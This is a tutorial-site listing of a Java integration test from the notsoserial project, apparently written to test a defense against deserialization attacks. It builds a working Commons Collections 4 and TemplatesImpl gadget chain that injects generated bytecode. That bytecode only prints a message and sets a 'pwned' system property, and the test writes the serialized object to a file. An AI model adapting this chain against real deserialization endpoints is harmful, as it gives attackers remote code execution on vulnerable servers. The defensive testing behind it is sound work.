org.kantega.notsoserial.CreateBytesIT.java Source code

Java tutorial

Introduction

Here is the source code for org.kantega.notsoserial.CreateBytesIT.java

Source

/*
 * Copyright 2015 Kantega AS
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

package org.kantega.notsoserial;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.junit.Test;
import org.objectweb.asm.ClassWriter;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;
import org.objectweb.asm.Type;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
import java.util.Queue;

/**
 *
 */
public class CreateBytesIT {

    @Test
    public void shouldCreateBytes() throws IOException, ClassNotFoundException {

        Object nastyObject = nastySerializable();

        byte[] ser = serialize(nastyObject);

        Files.write(Paths.get("target").resolve("bytes.ser"), ser);
    }

    private Object nastySerializable() {
        InvokerTransformer transformer = new InvokerTransformer("toString", new Class[] {}, new Object[] {});

        Queue priorityQueue = new PriorityQueue(2, new TransformingComparator(transformer));
        priorityQueue.add(1);
        priorityQueue.add(1);

        TemplatesImpl templates = createTemplates();

        setFieldValue(transformer, "iMethodName", "newTransformer");

        Object[] queue = (Object[]) getFieldValue(priorityQueue, "queue");
        queue[0] = templates;
        queue[1] = templates;
        return priorityQueue;
    }

    private Object deserialize(byte[] ser) throws IOException, ClassNotFoundException {
        ObjectInputStream stream = new ObjectInputStream(new ByteArrayInputStream(ser));
        return stream.readObject();
    }

    private byte[] serialize(Object object) throws IOException {
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(bout);
        out.writeObject(object);
        return bout.toByteArray();
    }

    private Object getFieldValue(Object object, String fieldName) {
        try {
            Field declaredField = object.getClass().getDeclaredField(fieldName);
            declaredField.setAccessible(true);
            return declaredField.get(object);
        } catch (NoSuchFieldException e) {
            throw new RuntimeException(e);
        } catch (IllegalAccessException e) {
            throw new RuntimeException(e);
        }
    }

    private TemplatesImpl createTemplates() {

        TemplatesImpl templates = new TemplatesImpl();

        setFieldValue(templates, "_bytecodes", new byte[][] { createTransletBytes() });
        setFieldValue(templates, "_name", "TName");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        return templates;

    }

    private void setFieldValue(Object templates, String fieldname, Object value) {
        try {
            Field field = templates.getClass().getDeclaredField(fieldname);
            field.setAccessible(true);
            field.set(templates, value);
        } catch (NoSuchFieldException e) {
            throw new RuntimeException(e);
        } catch (IllegalAccessException e) {
            throw new RuntimeException(e);
        }
    }

    private byte[] createTransletBytes() {

        ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
        cw.visit(Opcodes.V1_5, Opcodes.ACC_PUBLIC, "com/example/InvokingTranslet", null,
                Type.getType(AbstractTranslet.class).getInternalName(),
                new String[] { Type.getType(Serializable.class).getInternalName() });

        MethodVisitor init = cw.visitMethod(Opcodes.ACC_PUBLIC, "<init>", "()V", null, null);
        init.visitCode();
        init.visitVarInsn(Opcodes.ALOAD, 0);
        init.visitMethodInsn(Opcodes.INVOKESPECIAL, Type.getType(AbstractTranslet.class).getInternalName(),
                "<init>", "()V");
        init.visitVarInsn(Opcodes.ALOAD, 0);
        init.visitIntInsn(Opcodes.BIPUSH, 101);
        init.visitFieldInsn(Opcodes.PUTFIELD, Type.getType(AbstractTranslet.class).getInternalName(),
                "transletVersion", "I");
        init.visitInsn(Opcodes.RETURN);
        init.visitMaxs(2, 2);
        init.visitEnd();

        MethodVisitor transformMethod = cw.visitMethod(Opcodes.ACC_PUBLIC, "transform",
                Type.getMethodDescriptor(Type.VOID_TYPE,
                        new Type[] { Type.getType(DOM.class), Type.getType(DTMAxisIterator.class) }),
                null, new String[] { Type.getType(TransletException.class).getInternalName() });

        transformMethod.visitCode();
        transformMethod.visitInsn(Opcodes.RETURN);
        transformMethod.visitEnd();

        MethodVisitor mv = cw.visitMethod(Opcodes.ACC_STATIC, "<clinit>", "()V", null, null);
        mv.visitCode();
        mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/System", "out", "Ljava/io/PrintStream;");
        mv.visitLdcInsn("HMM..");
        mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintStream", "println", "(Ljava/lang/String;)V");
        mv.visitLdcInsn("pwned");
        mv.visitLdcInsn("true");
        mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/System", "setProperty",
                "(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;");
        mv.visitInsn(Opcodes.POP);
        mv.visitInsn(Opcodes.RETURN);
        mv.visitMaxs(2, 0);
        mv.visitEnd();
        cw.visitEnd();

        return cw.toByteArray();
    }
}